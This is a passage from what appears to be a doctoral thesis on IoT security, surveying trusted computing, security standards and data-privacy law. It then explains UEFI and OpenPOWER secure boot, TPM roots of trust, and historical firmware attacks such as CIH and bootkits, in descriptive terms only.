suspicious of the push for trusted computing and highly critical of the potential
impacts the technology might bring about [16, 248]. Some going as far as to rename
the technology treachorous computing [270]. Others defended the TCPA and viewed
trusted computing as a necessity in the escalating war against malicious and erroneous
software [235,236]. Less hyperbolic perspectives of this debate can be found [83,246,
294].
A key to the TCG’s invocation of trust is the ability to prove trustworthiness, or
otherwise provide evidence of a system’s state or properties. As such, the TCG
created specifications for a Trusted Platform Module (TPM), a secure cryptoprocessor
with protected storage and cryptographic computational abilities. A TPM is smaller
and less physically-secure than its predecessors; however, its low cost and limited
functionality drastically lowered the barriers to entry in the consumer market [187].
Trusted computing has found commercial success in a wide range of applications,
including platform integrity, disk encryption, and digital rights management (DRM).
Today, both discrete and integrated TPM implementations exist for nearly all major
PC platforms, as well as mobile and embedded systems, including the IoT.
One disadvantage to the TPM is the lack of secure third-party computational facilities.
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That is, the code that executes on the TPM is trusted by hardware and software
manufacturers; however, the TPM only exposes a limited API to its available services.
For example, given a piece of untrusted code on a trusted device, how could that code
be run in an isolated manner such that it would not have undesirable interactions
with the larger platform? Alternatively, consider a small security-critical kernel of
code that must execute on an untrusted machine. How can the code be isolated from
the system such that its results are trustworthy?
For the last decade, much of trusted computing research has focused on Trusted Execu-
tion Environments (TEEs). A TEE is a secure, isolated, and integrity-protected com-
putational environment that runs in parallel with a more extensive system. In 2003,
Garfinkle et al. introduced Terra, a virtual machine-based trusted environment [95].
The IBM 4758 and Terra were indeed forerunners of TEEs without formalizing it as
such. In 2009, the Open Mobile Terminal Platform (OMTP), a forum of mobile de-
vice manufacturers, created a standard for TEEs [214]. Where OMTP failed to gain
traction, GlobalPlatform—another mobile industry consortium—released a standard
defining TEEs in 2011 [99]. TPMs, hardware security modules (HSMs), or other
secure elements (SE) may be used to facilitate a TEE.
All of this attention on secure, isolated computation has led to the inclusion of
Trusted Execution Environments (TEEs) in modern processor designs, for exam-
ple, Intel’s Software Guard Extensions (SGX) [15, 65, 118, 137, 189], ARM’s Trust-
Zone [8, 23, 24, 199], IBM’s SecureBlue [41, 122] and Z-architecture’s Secure Execu-
tion [123], and AMD’s Secure Memory Encryption (SME) and Secure Encrypted
Virtualization (SEV) [11,150,151].
SGX is an extension to Intel’s x86 ISA that provides instructions for dividing an
application’s memory space into public and private regions. These isolated regions
of memory are called enclaves. SGX applications trust only code and data within
the enclave. SGX protects the enclave using on-the-fly encryption and decryption
such that the code and data are only openly visible to the enclave when executing
within the central processing unit (CPU). In contrast, TrustZone divides an entire
system’s resources into the “normal world” and the “secure world.” As such, a complete
software stack from the user-level to kernel-level can be implemented in each world,
with both worlds controlled by a monitor mode of highest-privilege. Only one world
at a time is allowed to execute on the CPU. IBM’s SecureBlue and SecureBlue++
processor architectures provide fine-grained cryptographic protections over software,
such that the only time code and data are unencrypted are when present on the CPU.
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Secure Execution for Linux is IBM’s latest security measure targeting enterprise-level
workload isolation for virtual machine (VM) and compute-hosting services. Similarly,
AMD’s SEV is focused on isolating VMs from host platform hypervisors. Several of
these implementations have suffered from well-publicized vulnerabilities [46, 51, 175,
292]. However, they represent the current best options for implementing a TEE
without separate hardware.
2.5 Laws and Regulations
Early computing machines were both sponsored in their creation and primarily used
by nation-states, specifically for military and defense applications. As such, the US
government was primarily concerned about information flow and the potential for
violations of secrecy, i.e., espionage, for classified government information within
computing systems. In 1970, under the direction of an ARPA task force charged
with studying safeguards for classified information in multi-access, resource-sharing
computer systems, the RAND Corporation published a classified report, “Security
Controls for Computer Systems” [299]. At the same time, the National Bureau of
Standards (NBS)5 began work to address similar problems with building and eval-
uating secure computing systems. In 1981, the US Department of Defense (DOD)
formed the Computer Security Center (CSC) to expand on work from the Computer
Security Initiative (CSI), both focused on a new aspect of security, trust.
The culmination of these government efforts was the Rainbow Series, a series of stan-
dards and guidelines for computer security. The first of this series was released in
1983 as the “Trusted Computer System Evaluation Criteria” (TCSEC) [73]. The TC-
SEC focused on Automatic Data Processing (ADP) systems, as computers were then
called, and provided three purposes:
1. standards for commercial manufacturers of trustworthy systems,
2. metrics for evaluating the level of trust to place in computing systems processing
classified or sensitive information, and
3. guidance for government purchasing departments.
Security, according to the Orange Book, was about confidentiality: access control
(authentication and authorization) for users and programs in regards to the creation,
5The NBS would become the National Institute of Standards and Technology (NIST) in 1988.
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reading, writing, and deletion of information. The standard lays out four policy
requirements for a system to achieve the necessary access control:
• Security Policy: A mandatory, explicit policy must be enforced by a secure
system defining users, objects, and permissions. This requirement follows from
the early work of access control matrices by Lampson [170] and the lattice
extensions of Dennning [71].
• Marking: Objects within a secure computing system must be labeled to facil-
itate the access controls of a security policy.
• Identification: The users of a secure system must be known, and their privi-
leges explicit, authorized, and authenticated.
• Accountability: Audit logs must be recorded to have any hope of discovering
or understanding potential errors or failures within a system.
In addition to the four policy requirements, the standard includes two provisions
related to assurance:
1. secure computing systems must have hardware and software mechanisms that
enforce the policy requirements and are independently verifiable, and
2. these mechanisms are trusted and must be protected from tamper or unautho-
rized modification.
With the growth of PCs and more global, commercial networking with the Internet,
security began to focus more on IT and information security (IS). The standards
were extended to networks in the “Red book”—“Trusted Network Interpretation”
(TNI) [197]—and databases in the “Purple book”—“Trusted Database Management
System Interpretation” (TDI) [198]. Understanding that American companies might
be vulnerable to foreign interference, the TCSEC was offered to non-governmental,
commercial systems as well.
In 1991, several European nations, including France, Germany, the Netherlands, and
the United Kingdom, produced the “Information Technology Security Evaluation Cri-
teria” (ITSEC) [56] as a harmonized successor to the individual nation’s disparate
security standards. The ITSEC was modeled after the US’s TCSEC, as a standard
and guideline for evaluation. While the earlier US standard focused on confidentiality,
the European standard included two additional concepts in its definition of security:
integrity and availability.
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The “CIA” triad has since become synonymous with information security:
• Confidentiality governing who gets to see or disclose data,
• Integrity governing how data is modified, and
• Availability governing when a system or data is withheld.
In 1994, an international effort was again pursued to unify the separate national IT
security standards of the US, Canada, and European countries. The result of this
effort was the “Common Criteria for Information Technology Security Evaluation”
(CC). In 1999, this would become an international standard [139].
The Common Criteria provides the general principles of information security, specif-
ically as it relates to confidentiality, integrity, and availability, and provides a frame-
work from which to evaluate security products, the target of evaluation (TOE), for
both security functional requirements (SFRs) and security assurance requirements
(SARs). The standard does not provide specific requirements or features, but rather
a method for evaluating assurance levels. CC provides seven assurance levels (EALs)
upon which to base confidence in the functional requirements having been evaluated:
• EAL1: Functionally Tested. The correctness of operation is more important
than security concerns. Assurance should not require the cooperation of a prod-
uct’s developer.
• EAL2: Structurally Tested. A low to moderate level of assurance is required.
A developer should use consistent and good commercial practice for design
information and test results. Assurance may be achieved with limited developer
access or documentation, for example, with legacy systems.
• EAL3: Methodically Tested and Checked. A moderate level of assurance is
required. A developer should provide evidence of searching for obvious vulnera-
bilities and confirmation of test results. Assurance should not require significant
re-engineering.
• EAL4: Methodically Designed, Tested, and Reviewed. A moderate to high
level of assurance is required. Products require rigorous testing based on sound
commercial development practices, along with an independent search for vul-
nerabilities. Assurance may incur some additional security-specific engineering
costs.
• EAL5: Semi-Formally Designed and Tested. A high level of assurance is re-
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quired. Products require rigorous commercial development practices supported
by moderate specialist security engineering techniques. Vulnerabilities must be
identified, along with covert channel analysis and design.
• EAL6: Semi-Formally Verified Design and Tested. A high level of assurance
for protecting high-value assets against significant risks. A vulnerability search
must be conducted to ensure resistance to attackers with high attack potential.
• EAL7: Formally Verified Design and Tested. The highest level of assurance for
protecting high-value assets in extremely high risks situations. Products require
extensive formal analysis for security functionality.
Also in 1994, was the creation of the Federal Information Processing Standards (FIPS)
140 Publication Series. FIPS 140-1, titled “Security Requirements for Cryptographic
Modules,” was a standard specifying the security requirements for cryptographic mod-
ules used by US Federal organizations [201]. The standard identified four security
levels:
• Level 1: The lowest security level, requiring no physical security mechanisms
and allowing cryptographic functions to be performed in a general-purpose PC.
The only real requirements are the use of production-grade equipment and pre-
approved algorithms.
• Level 2: Physical tamper-evident mechanisms must be present, such as seals
and pick-resistant locks. Further, role-based authentication must authenticate
users, and software cryptography must run on a trusted OS.
• Level 3: Physical tamper-resistant mechanisms must be present, such as ro-
bust, sealed enclosures and coatings. Identity-based authentication must con-
firm an individual user and their privileges. Finally, there must be a separation
between input and output ports as well as the ability to prevent the plaintext
extraction of secure material.
• Level 4: Physical tamper-responsive mechanisms must be present, such as the
ability to detect tamper and erase sensitive material.
The IBM 4758 was the first device to be certified at Level 4 under FIPS 140-1 [263].
The current standard is FIPS 140-2, with FIPS 140-3 to supersede this year (2020).
In 1990, NIST began the Special Publication (SP) 800 series with a focus on computer
security. The 800-series publications provide guidelines, recommendations, and spec-
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ifications for the security and privacy requirements of the US Federal Government.
Since then, dozens of these documents have been published, and are generally con-
sidered well-established guideposts for both government and civilian, non-commercial
and commercial uses. The following publications are at least tangentially related to
the material presented in this thesis.
• 800-12: An Introduction to Information Security [200].
• 800-94: Guide to Intrusion Detection and Prevention Systems [243].
• 800-147 & 147B: BIOS Protection Guidelines (For Servers) [60,225].
• 800-153: Guidelines for Securing Wireless Local Area Networks [265].
• 800-155: BIOS Integrity Measurement Guidelines (draft) [224].
• 800-183: Networks of ‘Things’ [296].
• 800-193: Platform Firmware Resiliency Guidelines [223].
In addition, NIST produces interagency or internal reports (NISTIR). Of particular
interest to this thesis are documents 8228, “Considerations for Managing Internet of
Things (IoT) Cybersecurity and Privacy Risks” [40], and the current draft of 8259,
“Recommendations for IoT Device Manufacturers: Foundational Activities and Core
Device Cybersecurity Capability Baseline” [81].
Finally, but not least of all, are the laws governing data privacy. In their 1965 paper,
David and Fano considered the broader privacy implications of computing technology
to society:
The very power of advanced computer systems makes them a serious
threat to the privacy of the individual. If every significant action is
recorded in the mass memory of a community computer system, and
programs are available for analyzing them, the daily activities of each
individual could become open to scrutiny.
While the technical means may be available for preventing illegal searches,
where will society draw the line between legal and illegal? Will the custo-
dians of the system be able to resist pressure from government agencies,
special-interest groups, and powerful individuals? And what about the
custodians themselves? Can society trust them with so much power? [69]
Local and international laws are beginning to catch up in response to the data-
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collection ecosystems which now pervade our daily lives for the purposes of commer-
cial advertising and supposed personal convenience. Since 2006, the Health Insurance
Portability and Accountability Act (HIPAA) has contained a Security Rule requir-
ing healthcare providers to protect electronically stored, protected health informa-
tion (ePHI) with administrative, physical, and technical safeguards. The European
Union’s General Data Protection Regulation (GDPR) represents the most significant
pushback to-date as an attempt to return control over personal data to individuals.
Effective this year (2020), California enacted the nation’s first IoT-specific security
law for connected devices [272]. This regulation requires manufacturers to implement
“reasonable security features” to protect a device and the information it may contain
from unauthorized access, destruction, use, modification, or disclosure.
2.6 Conclusions
In this chapter, we have briefly reviewed the literature and history of computing
security. We introduced and defined defense in depth and trusted computing. Finally,
we looked at the regulatory environment that intersects with this thesis.
The IoT represents a significant departure from traditional computing technologies.
These resource-constrained devices are not as powerful, in terms of computational
abilities, as desktop PCs. IoT platforms currently provide limited hardware support
for security features. Additionally, these small embedded systems may be expected to
operate in non-conventional environments for potentially decades with minimal over-
sight or management. Finally, the IoT will have access to highly sensitive, personal
information and control over integral elements of our homes and critical infrastruc-
ture.
In the following chapters, I will describe multiple defenses for resource-constrained
devices, at each layer of the hardware–software stack, that together represent a defense
in depth strategy. The research presented in Chapters 3 and 4, on secure boot and
remote attestation, follow directly from the early work in trusted computing. In
Chapter 5, I extend the principle of least privilege with intraprocess memory isolation.
Finally, Chapter 6 applies many of the lessons learned, in the 1990s and early 2000s,






Software runs on hardware. At a certain point, there is a translation from bits
to electrical signals. We must trust that this translation is operating as intended.
Achieving this trust is a non-trivial challenge. To limit the scope of this problem, I
focus on the transition from power-on to the operating system, typically called the
boot process.
When power is applied to a computer, a bootstrapping process must occur to initialize
the machine and launch the desired firmware and software, e.g., operating system. It
is imperative that we trust this initial process because all subsequent actions, e.g.,
keystrokes, disk accesses, and network operations, depend on this fundamental step.
In 2009, Joanna Rutkowska publicized the “Evil Maid” attack [233], in which a mali-
cious hotel maid is given (temporary) unattended physical access to a machine. With
this limited access, a variety of attacks may be perpetrated that subvert the machine
in undetectable ways. For example, an attacker might simply clone a device’s hard
disk to access data later, or more perniciously infect the firmware or peripheral device
controllers. Once these attacks are carried out, they become incredibly hard to detect
and still harder to mitigate or remove, i.e., pervasive. How does one remove a threat
that has embedded itself inside the controller firmware of a hard disk? We need to
know that the machine we turned on is indeed the machine we intended to turn on
and that the software that it runs is indeed the software we intended.
In this chapter, I introduce secure boot and related background information. I de-
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scribe my research work designing a secure boot system for IBM’s POWER8 (P8)
server architecture, and the secure boot architecture now deployed on OpenPOWER
systems. I draw an essential parallel between these large servers and the conventional
embedded devices found in the IoT. Specifically, the lack of secure memory on both the
P8 architecture and standard embedded IoT devices makes the process of securing and
trusting the pre-boot environment substantially harder. However, utilizing TPMs, I
demonstrate a method that would work for such resource-constrained devices. Finally,
I consider alternative methods for securely booting resource-constrained devices.
3.2 Related Work
In this section, I introduce a brief history of the start-up and initialization phases of
computers and discuss some motivation for securing this process.
3.2.1 Bootstrapping
The process by which computers turn on, and make themselves ready to execute in-
structions is referred to as bootstrapping, or simply booting. Early computers had
relatively simple (at least in terms of code) boot processes. One of the earliest general-
purpose electronic computers, from 1945, the Electronic Numerical Integrator and
Computer (ENIAC), was computation-specific and programmed by switches, punch
cards, and plugboards [100]. In effect, the bootstrapping was done by hand for each
program. By the 1950s, the IBM 701 had a Load button that would read initializa-
tion instructions from a punch card [45]. By the 1960s, IBM had coined the term
Initial Program Load (IPL) for the boot sequence of its 7030 series machines [121].
With the creation of integrated circuit read-only memory (ROM), firmware contain-
ing bootable instructions could be shipped with machines. Due to the limited size and
prohibitive cost of ROM, only simple boot sequences were possible. Thus, with the
added complexity of microcomputers, a bootloader was needed. The bootloader was
a small program, typically loaded from ROM, that might initialize hardware (e.g.,
memory) and load further (more complex) boot programs in successive stages. For
example, in the IBM System 360, the read-only storage equivalent of ROM was able
to initialize the machine enough to read a bootloader from a peripheral device, such
as a punch card reader. The bootloader would extend the system far enough to load
further boot phases from external or internal disks. In the case of the Model 44,




Figure 3.1: The Linux boot sequence. A modern bootstrapping process that contains
all of the traditional elements.
“frisbee.”1
The direct predecessor to modern boot firmware is the IBM Personal Computer’s
Basic Input/Output System or BIOS. This firmware was primarily responsible for the
power-on self-test (POST), in which CPU registers, memory, disks, and additional
hardware would be tested and initialized. After testing, typically followed by a series
of audible beeps, subsequent bootloaders would be loaded from boot devices (e.g.,
hard or floppy disk drives) into memory, and control transferred to the next stage.
A modern Linux boot sequence is shown in Figure 3.1. After POST, the BIOS exe-
cutes the first-stage bootloader (FSBL), historically the Master Boot Record (MBR),
from the first sector of a bootable disk. The MBR contains the necessary information
to load and execute the second-stage bootloader, often the Grand Unified Bootloader
(GRUB). GRUB itself is divided into further stages, each leading closer to loading
and executing the Linux kernel.
The successor to BIOS was Intel’s Extensible Firmware Interface (EFI) [136]. In
2005, the Unified EFI Forum took over management and development, renaming it
to the Unified Extensible Firmware Interface (UEFI) [290], in an effort to modernize
the boot process, and encourage cooperation between industry leaders in hardware,
firmware, and software. UEFI is now the de facto standard; however, it includes a
Compatability Support Module (CSM) that enables a BIOS-compatible boot mode for
legacy devices. Intel intends to deprecate this compatibility by 2020 [227].
3.2.2 Pre-boot Vulnerabilities
The pre-boot environment is naturally resource-limited, with minimal hardware avail-
ability and software driver support. These same constraints lower any security barriers
and thus represent a valuable target for attack. By overwriting the BIOS itself or
peripheral device firmware, an attacker gains a highly-privileged foothold. Control
of the pre-boot environment can easily translate to manipulation of the hardware or
1Historical anecdotes from personal communication with Guerney D. H. Hunt on May 6, 2020.
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operating system, leading to exploit or even device inoperability.
On April 26, 1999, the Chernobyl (CIH) virus was successfully deployed, eventually
infecting millions of computers [153, 306]. CIH carried two payloads, the secondary
being an attempt to overwrite the flash ROM of a computer and corrupt the system’s
BIOS. Without a functioning BIOS, machines were effectively unable to boot. A
common term for this sort of destructive attack is bricking, that is, turning a device
into an expensive brick.
Rootkits comprise the software tools used to achieve privilege escalation in an access-
controlled system. Often these “kits” are malicious, subversive, and surreptitious. In
2005, Soeder and Permeh introduced eEye BootRoot [264], which detailed the creation
of a firmware rootkit, or bootkit. By interposing between a BIOS and an operating
system, code can execute direct memory access (DMA) or disk reads and writes with
privilege. In 2009, Sacco and Ortega presented their work on injecting BIOS rootkits
that are persistent across disk wipes or even re-installation of an operating system
[234].
In 2013, the German magazine Der Spiegel published the “ANT Catalog,” a classified
50-page document detailing the cyber-surveillance capabilities of the United States
National Security Agency’s (NSA) Advanced Network Threat (ANT) division [19].
Included in this release, were several technologies that specifically targeted device
firmware or BIOS, including products known by codenames such as ARKSTREAM,
DEITYBOUNCE, SOUFFLETROUGH, SWAP, IRATEMONK, and JETPLOW. For
example, a product referred to as IRONCHEF “provides access persistence to target
systems by exploiting the motherboard BIOS...” [124,247].
Finally, Kovah and Kallenberg demonstrated the poor state of BIOS security by au-
tomating the analysis for known vulnerability signatures and demonstrating advanced
persistence with “Lighteater” [148]. In the last decade, there have been dozens of sim-
ilar revelations as the hardware–software interface of firmware and BIOS has become
an increasingly powerful and popular attack vector.
3.2.3 Secure Boot
Secure, or verified, boot is a mechanism for ensuring the integrity of the firmware and
early software used in the boot process. Using digital signatures and cryptographic
checksums, each stage of the boot process verifies the authenticity and integrity of
the code for the next stage before its execution. Legitimacy and authorization checks
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Table 3.1: Secure vs. Trusted boot. Secure and trusted boot are complementary
techniques for ensuring the integrity of a boot process.
Method Role Also Called
Secure Boot Verify & Enforce Verified Boot
Trusted Boot Measure & Report Measured or Attested Boot
verify each executable as it is loaded from memory. If verification fails, the boot
process can no longer be trusted as secure and is halted. In this manner, a chain of
integrity is built through all levels of the boot, and untrusted code can be prevented
from executing. This scheme relies on some layer at the bottom of the stack that
provides trusted code and secure storage, a root of trust.
In contrast to secure boot, measured or trusted boot is a technique that securely
records the boot process. See Table 3.1. Each stage of firmware or software is mea-
sured, or hashed, prior to execution. These measurements can later be queried to
verify the overall integrity of a platform through a process called remote attestation.
Where secure boot will prevent the execution of any unauthorized firmware or soft-
ware, the role of trusted boot is to enable its detection. While this may seem like
a lesser security feature, trusted boot is helpful in remote administrative scenarios
where fully stopping the boot process may be undesirable. More often, these two
mechanisms are used in conjunction, performing complementary tasks to ensure the
integrity of a boot process. For example, secure boot is useful in establishing a core
root of trust for measurement (CRTM) on which trusted boot relies.
A question worth considering is why a stage of the boot process cannot verify or
measure itself. A binary image responsible for checking its own integrity would be
susceptible to a form of gaslighting, in which it could never be sure that the code
used to perform verification had not been modified surreptitiously. This creates an
infinite regress problem as the executable cannot rely on itself. The one constant in
the bootstrapping process is that for code to be executed, an early stage must have
loaded it (with the exception of the first stage that must be ultimately trusted).
Additionally, consider the complexity of measuring many files in a subsequent exe-
cution stage. Each file must be measured or verified prior to execution. However,
this introduces a dilemma: either all files must be processed twice (once to verify,
and again to execute), or some files will begin executing before all other files being


















Figure 3.2: The UEFI secure boot key hierarchy. At the bottom, the platform key
roots all integrity mechanisms. Key exchange keys are used to authorize updates to
the signature databases, db and dbx.
settings, it is typical for such verifications and measurements to be performed by an
external, trusted third party.
Yee was one of the first to introduce the concept of a secure bootstrap process [287,
309, 310]. The AEGIS system was the first published to implement such a secure
bootstrap architecture [21]. Smith and Weingart went even further and tied the
position of a private key to a configuration certified by a public key [263].
Secure boot cannot be limited to a CPU but must be extended to all peripheral devices
that have direct memory access (DMA) or upgradable firmware [116]. Thunderstrike
was just such an attack [119]. The interested reader can find better histories [302,
303,314]. NIST has issued SP 800-147(B) [60,225] as guidelines for BIOS protection.
Version 2.3 of the UEFI specification included a secure boot protocol [204,288]. The
protocol relies on the use of an asymmetric-key hierarchy and white- and blacklists
to secure pre-boot drivers and executables. Public keys are registered or stored in
the system as “EFI variables,” and private keys are used to sign code that should be
allowed to run.
At the root of the hierarchy, shown in Figure 3.2, is a single platform key, or PK.





















Figure 3.3: The UEFI secure boot sequence. The bootloader is responsible for check-
ing hashes and digital signatures prior to executing the end-user OS kernel.
firmware. Only firmware and drivers signed by the private key part of the PK should
be allowed to run. PKs must be stored in non-volatile storage that is tamper and
delete resistant.
Next are a set of keys known as key exchange keys, or KEKs, which link the operating
system to the firmware. KEKs create authorized users, which are users with authority
to decide what OSes or hypervisors are allowed to run, that is, users who control the
white- and blacklists. To enroll a KEK requires the signature of the private-key part
of the PK. KEKs must be stored in non-volatile storage that is tamper-resistant.
Lastly, there are two signature databases, a white- and blacklist (db and dbx, re-
spectively), of digital certificates, signatures, and hashes. If the hash of a specific
executable is found in the blacklist, dbx, its execution is prevented. Similarly, if an
executable has been signed by a key associated with a certificate in the whitelist (and
not in the blacklist), its execution is allowed. This process is depicted in Figure 3.3.
Only authorized users are allowed to modify signature databases, that is, a signature
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from a KEK private-key is required to modify a database, thus completing the trust
chain from firmware to OS.
In 2011, Microsoft announced that Windows 8 certified machines would ship with
secure boot enabled by default, using a Microsoft-owned key in the KEK-list. This
resulted in a firestorm of controversy and debate in the free and open-source software
communities [42, 76, 156]. In an ideal scenario, systems would ship from manufac-
tures with UEFI secure boot in a “setup” mode. This would allow owners to take
control of the key hierarchy and determine what software they want to run. However,
in Microsoft’s version, all machines shipped with a Windows 8 certification sticker
would only boot Windows. Microsoft was accused of attempting to lockout free op-
erating systems like Fedora and Ubuntu. The end result was a compromise between
positions, in which Microsoft required manufacturers to allow secure boot to be dis-
abled, and offered a for-fee signing service that would sign third-party applications,
like bootloaders.
3.2.4 Trusted Platform Module
A trusted platform module (TPM) is a secure cryptoprocessor used to provide a
hardware root of trust. A standard TPM architecture is shown in Figure 3.4. Tra-
ditionally, TPMs have been discrete microchips soldered or otherwise connected to a
larger system. This separation allows the (more simple) TPM to be validated and
certified apart from the rest of a system. Communications are handled by a separate
hardware bus, for example, a low pin count (LPC), Inter-Integrated Circuit (I2C), or
Serial Peripheral Interface (SPI) bus. TPMs often include a processor and multiple
memory types (random access (RAM), read-only (ROM), and flash), as well as phys-
ical security mechanisms to make the device tamper-resistant. TPMs can be used
to generate, store, and manage cryptographic keys. Additionally, TPMs contain a
unique RSA private key, called an Endorsement Key (EK), that is “burned” into the
device during manufacturing. This EK is never exported outside the TPM and can
be used to identify and authenticate the TPM. This functionality makes the TPM
ideal for implementing multiple roots of trust:
• Root of Trust for Storage (RTS): The TPM can shield various memory seg-
ments to allow only authorized access or prevent all external access. For exam-
ple, special platform configuration registers (PCRs) may contain non-sensitive
data and thus allow export. Alternatively, sensitive key material can be stored
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Figure 3.4: A TPM architecture. The cryptographic engine is responsible for key gen-
eration, encryption/decryption, and digital signatures. Persistent memory is limited
and contains the Endorsement and Storage Root keys. Volatile memory includes the
Platform Configuration Registers.
• Root of Trust for Measurement (RTM): The RTM is responsible for
recording integrity information (measurements) to the RTS. The core root of
trust for measurement (CRTM) is the first code to execute when establishing
a new chain of trust, for example, during boot. These measurements are store
into PCRs and can be queried later.
• Root of Trust for Reporting (RTR): The RTR can report, or quote, the
contents PCRs, logs, and configurations within the RTS. These quotes of mea-
surements can later be used in remote attestation.
The RTM and RTR will be used in Chapter 4.
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It is worth pointing at that the security guarantees of the TPM assume that the
device is soldered to the host device, typically the motherboard. TPMs resident on
external cards that may be removed are vulnerable to known physical interposition
attacks.
Newer implementations may integrate the functionality of a TPM into the same
chipset as the computing platform while still providing logical isolation. This integra-
tion typically requires a special execution mode, or TEE, on the primary processor
that allows partitioned memory and execution. This removes any tamper resistance
available in physically-separate TPMs. Intel’s System Management Mode and ARM’s
TrustZone are examples of this. Further, firmware, software, and virtual TPM im-
plementations are possible with their own threat-model and risk analysis trade-offs
to consider.
The TPM is most often used for trusted boot; however, as we will see below, the RTS
that the TPM provides can be useful in implementing a secure boot architecture for
devices with limited secure memory.
3.3 OpenPOWER Bootstrapping
In 1990, IBM introduced a reduced instruction set computer (RISC)2 instruction
set architecture (ISA) that would become known as the Performance Optimization
With Enhanced RISC, or POWER, ISA. Since then, IBM has used this architec-
ture for high-end microprocessors in PCs, servers, and supercomputers. In 2013,
IBM introduced a family of superscalar symmetric multiprocessors.3 That same year
IBM announced the OpenPOWER Consortium, which became the OpenPOWER
Foundation. The purpose of OpenPOWER is to simplify system design, and to li-
cense, promote, and openly collaborate with manufacturers, vendors, and end-users of
the high-performance POWER architecture, including hardware (System-on-a-Chip
(SoC) design and bus specifications), firmware, and software (OSes and hypervisors).
Figure 3.5 depicts the boot flow for the OpenPOWER architecture. When a power-on
signal is supplied to a system—either via the power button, the baseboard manage-
ment controller (BMC), or the flexible service processor (FSP)—a small auxiliary
microprocessor, known as the self-boot engine (SBE), begins executing the initial
2IBM’s first RISC-based computer was the RT PC introduced in 1986.
3Superscalar architectures can execute multiple instruction stages in parallel, while symmetric
multiprocessing systems contain multiple processing cores connected by a shared memory.
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Figure 3.5: The OpenPOWER boot sequence. Execution begins with the Self-Boot
Engine loaded from OTPROM. Next, Hostboot loads SkiBoot which in turn loads
Skiroot. Petitboot, built as a standard Linux application within Skiroot, is responsible
for loading the end-user OS kernel or hypervisor.
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stage of SBE firmware from one-time programmable read-only memory (OTPROM).
The SBE initializes the pervasive bus and jumps to the second SBE stage held within
serial electrically erasable programmable read-only memory (SEEPROM). The second
SBE stage is responsible for initializing the main processor core, L2 and L3 caches,
and the host processor-based NOR flash memory (PNOR), as well as resetting the
platform TPM. The final job of the SBE is to load Hostboot from PNOR.
Hostboot is an open-source boot firmware that is the first code to execute on the
primary processor core and provides the functionality for IPL. The first stage is
Hostboot Base (HBB) loaded from PNOR into the L3 cache. HBB is the core kernel
of Hostboot that sets up a general execution environment, message passing facilities,
memory management, and interrupt support for the main processor cores. Next, the
Hostboot extended image is loaded from PNOR. This extended image contains the
rest of the functionality required to initialize caches, main memory, and Input/Output
(I/O) facilities. Hostboot is responsible for building the device tree, a memory data
structure containing attributes and system configuration information used in later
stages of boot. Hostboot also loads the sleep-winkle image (SLW) responsible for
power-on and sleep states. Part of Hostboot, the Hostboot runtime (HBRT), will
remain active during OS execution to provide diagnostic support and interface with
the on-chip controller (OCC), a small embedded subprocessor responsible for thermal
and power management. Finally, Hostboot loads Skiboot.
Skiboot is a late-stage firmware bootloader that further initializes the platform hard-
ware and interfaces, as well as implementing the OpenPOWER Abstraction Layer
(OPAL) runtime abstraction layer. OPAL provides a standard API for platform-
specific services to the OS layer similar to UEFI’s Runtime Services or the Advanced
Configuration and Power Interface (ACPI) on x86 architectures. Skiboot’s final task
is to load Skiroot, a small embedded Linux kernel and userspace environment that
contains Petitboot.
Petitboot is the final stage in the boot process. A Linux userspace application,
Petitboot, is an open-source bootloader that utilizes Linux kernel drivers to detect
boot media such as storage devices or network adapters. Petitboot uses the Linux
kernel’s kexec_file_load() system call to launch the chosen boot option.
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Table 3.2: OpenPOWER security domains and key hierarchy. The firmware integrity
is rooted in the Hardware Root keys, while the OS begins with the Platform key.
Security


































Secure boot verifies the integrity and authenticity for every executable loaded during
boot. Integrity can be confirmed using secure cryptographic hashes like those pro-
duced by the Secure Hash Algorithm 2 (SHA-2) family of functions, e.g., SHA-256
or SHA-512. Verifying the authenticity of code requires the use of cryptographic
signatures like those produced by RSA4 or Elliptic Curve (ECDSA) digital signature
algorithms. Digital signatures make use of asymmetric, or public-key, cryptography,
in which two keys are employed: a public key, which is not secret, and a private key,
which should only be known by the signing authority. Given a piece of code and a
private key, a signing algorithm produces a digital signature. A verification algorithm
may then be used to validate authenticity based on the code, signature, and public
key.
OpenPOWER secure boot has two, independent security domains: firmware and OS.
The firmware security domain controls the platform boot from the SBE to Petitboot.
The OS security domain, and the focus of my research efforts, relies on the chain
4Named after its creators: Ron Rivest, Adi Shamir, and Leonard Adleman.
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of trust from the firmware domain and is responsible for the host, or target, OS or
hypervisor verification. As such, each domain is associated with a set of cryptographic
keys used to verify the boot firmware and software within the domain. The set of keys
in each domain represents a hierarchy of authority from the platform manufacturer
or owner to the end-user. As shown in Table 3.2, the firmware domain is governed
by the hardware (HW) root keys, which are used to authorize the firmware (FW)
keys which are ultimately used to sign the firmware components. The HW and FW
private keys are typically held by the platform vendor, e.g., IBM or another original
design manufacturer (ODM). However, they may also be held by the end-user who
wishes to build and sign their own firmware.
As shown in Figure 3.5, each domain is rooted in hardware. A secure hash of the
HW keys is stored in a protected area of SEEPROM. The root of the OS domain,
the platform key (PK) is stored in the TPM’s non-volatile RAM (NVRAM).
3.3.2 Firmware Secure Boot on OpenPOWER
The majority of boot firmware and software is stored in unprotected storage, such as
PNOR or on disk. The PNOR flash memory is accessible from the BMC for regular
firmware updates. Additionally, it is possible to modify PNOR contents from the OS
runtime with the proper device drivers. As such, we assume all firmware components
beyond the SBE are untrusted until verified.
Each firmware component stored in PNOR is wrapped in a secure container for-
mat that includes a cryptographic signature. At each step of the boot process, this
signature is used to verify the integrity and authenticity of the next stage. Thus,
the SBE verifies Hostboot, Hostboot verifies Skiboot, Skiboot verifies Petitboot, and
eventually, Petitboot verifies the OS or hypervisor.
For the firmware domain, turning secure boot on is controlled by a “jumper” on the
system motherboard. When the jumper is not present, secure boot is enforced. Like-
wise, when the jumper is connected, secure boot will be disabled. In an unmodified
system, this mode can be confirmed by the end-user through the device tree provided
by OPAL.
The process for establishing the HW root keys for the firmware domain is called
imprinting and would typically be done by a platform vendor; however, the platform
owner can imprint their own desired keys. As each container is loaded from PNOR,
the signature is verified from the bottom up: first, the HW key hash is compared
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with that stored in SEEPROM, then the HW signature over the FW keys, and finally
the FW signature on the code is checked. This ordering avoids calculating the larger
hashes, such as those over the code, if the lower-level keys fail to verify. The secure
boot process halts if any container fails to validate.
More detailed information about the secure boot for the firmware domain can be
found [115].
3.4 Secure Boot Without Secure Memory
We now transition to the focus of my research. I designed a secure boot architecture
for the OS security domain on OpenPOWER systems, specifically for IBM’s P8 server
architecture. These large, expensive servers may be seen as the very antithesis of IoT.
However, they share one vital resource constraint: limited (or non-existent) lockable,
